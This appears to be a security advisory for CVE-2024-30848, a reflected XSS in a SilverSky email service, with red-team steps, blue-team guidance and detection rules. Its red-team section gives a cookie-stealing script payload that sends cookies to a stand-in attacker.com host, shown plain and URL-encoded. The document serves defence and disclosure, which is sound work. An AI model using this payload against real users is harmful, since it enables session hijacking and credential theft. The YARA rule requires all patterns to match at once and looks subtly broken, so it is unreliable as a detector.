CVE-2024-30848

Executive Summary

CVE-2024-30848 identifies a stored/reflected Cross-Site Scripting (XSS) vulnerability in the SilverSky E-mail service version 5.0.3126. The flaw resides in the version parameter, allowing remote attackers to inject arbitrary web script or HTML. This can lead to session hijacking, credential theft, or defacement within the email management interface. No public exploit code or patch is currently available, and the CVSS score is unassigned, but the risk is elevated due to the lack of vendor response.

Supply Chain & Package Security

This vulnerability is not in an open-source package (NPM, PyPI, Go, Ruby) but in a proprietary email service. Supply chain risk is limited to the SilverSky vendor ecosystem.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned)
• Vector: UNKNOWN
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must view crafted link)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium (due to unpatched status and XSS impact)

Deep Dive & Mechanics

The vulnerability is a classic XSS in the version parameter of the SilverSky E-mail service. The application fails to sanitize user-supplied input before reflecting it in the response. An attacker can craft a URL like:

https://victim-silversky-instance/endpoint?version=<script>alert('XSS')</script>

When an authenticated user clicks this link, the script executes in the context of the email service, potentially accessing cookies, session tokens, or performing actions on behalf of the user.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// SilverSky version 5.0.3126
$version = $_GET['version'];
echo "<div>Version: $version</div>";

Patched Code (Hypothetical):

$version = htmlspecialchars($_GET['version'], ENT_QUOTES, 'UTF-8');
echo "<div>Version: $version</div>";

No official patch is available; the above is a recommended fix.

Exploitation & Lab Setup

Red Team

1. Setup: Deploy a local SilverSky instance (version 5.0.3126) in a lab environment.
2. Craft Payload: Use a simple XSS payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. URL Encoding: Encode the payload for URL:

   https://target/endpoint?version=%3Cscript%3Efetch('https://attacker.com/steal?cookie='%2Bdocument.cookie)%3C/script%3E
   

4. Delivery: Send the link via email or social engineering to an authenticated user.

Blue Team

1. Monitor Logs: Look for unusual version parameter values containing <script>, onerror, or javascript:.
2. WAF Rules: Block requests with version parameter containing HTML/script tags.
3. User Training: Educate users not to click suspicious links.

Indicators of Compromise (IOCs)

• URL Pattern: */endpoint?version=*<script>*
• Log Entry: GET /endpoint?version=%3Cscript%3E
• Network Traffic: Outbound connections to attacker-controlled domains from the SilverSky interface.
• File System: No specific file IOCs; XSS is memory-based.

Detection Engineering

YARA Rule

rule CVE_2024_30848_XSS {
    meta:
        description = "Detects XSS attempts against SilverSky version parameter"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $xss1 = "version="
        $xss2 = "<script"
        $xss3 = "onerror="
        $xss4 = "javascript:"
    condition:
        all of ($xss*) and #xss1 > 0
}

Sigma Rule

title: SilverSky XSS via version Parameter
id: cve-2024-30848
status: experimental
description: Detects XSS attempts in SilverSky email service
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "version="
        cs-uri-query|contains: 
            - "<script"
            - "onerror="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate version queries with special characters
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-30848 SilverSky XSS Attempt"; flow:to_server; content:"version="; http_uri; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Apply input validation and output encoding to the version parameter.
2. Vendor: Contact SilverSky for an official patch.
3. WAF: Deploy virtual patching via WAF rules to block XSS patterns.
4. User: Restrict access to the email service to trusted networks.
5. Monitor: Enable logging and alerting for suspicious parameter values.

Valters IT